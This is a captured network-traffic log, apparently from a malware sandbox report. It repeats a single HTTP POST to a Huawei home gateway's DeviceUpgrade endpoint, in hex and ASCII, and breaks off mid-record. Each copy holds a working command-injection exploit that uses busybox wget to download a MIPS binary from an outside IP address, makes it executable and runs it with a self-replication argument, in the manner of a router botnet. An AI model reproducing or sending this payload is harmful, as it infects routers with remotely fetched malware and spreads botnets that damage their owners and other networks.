Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope 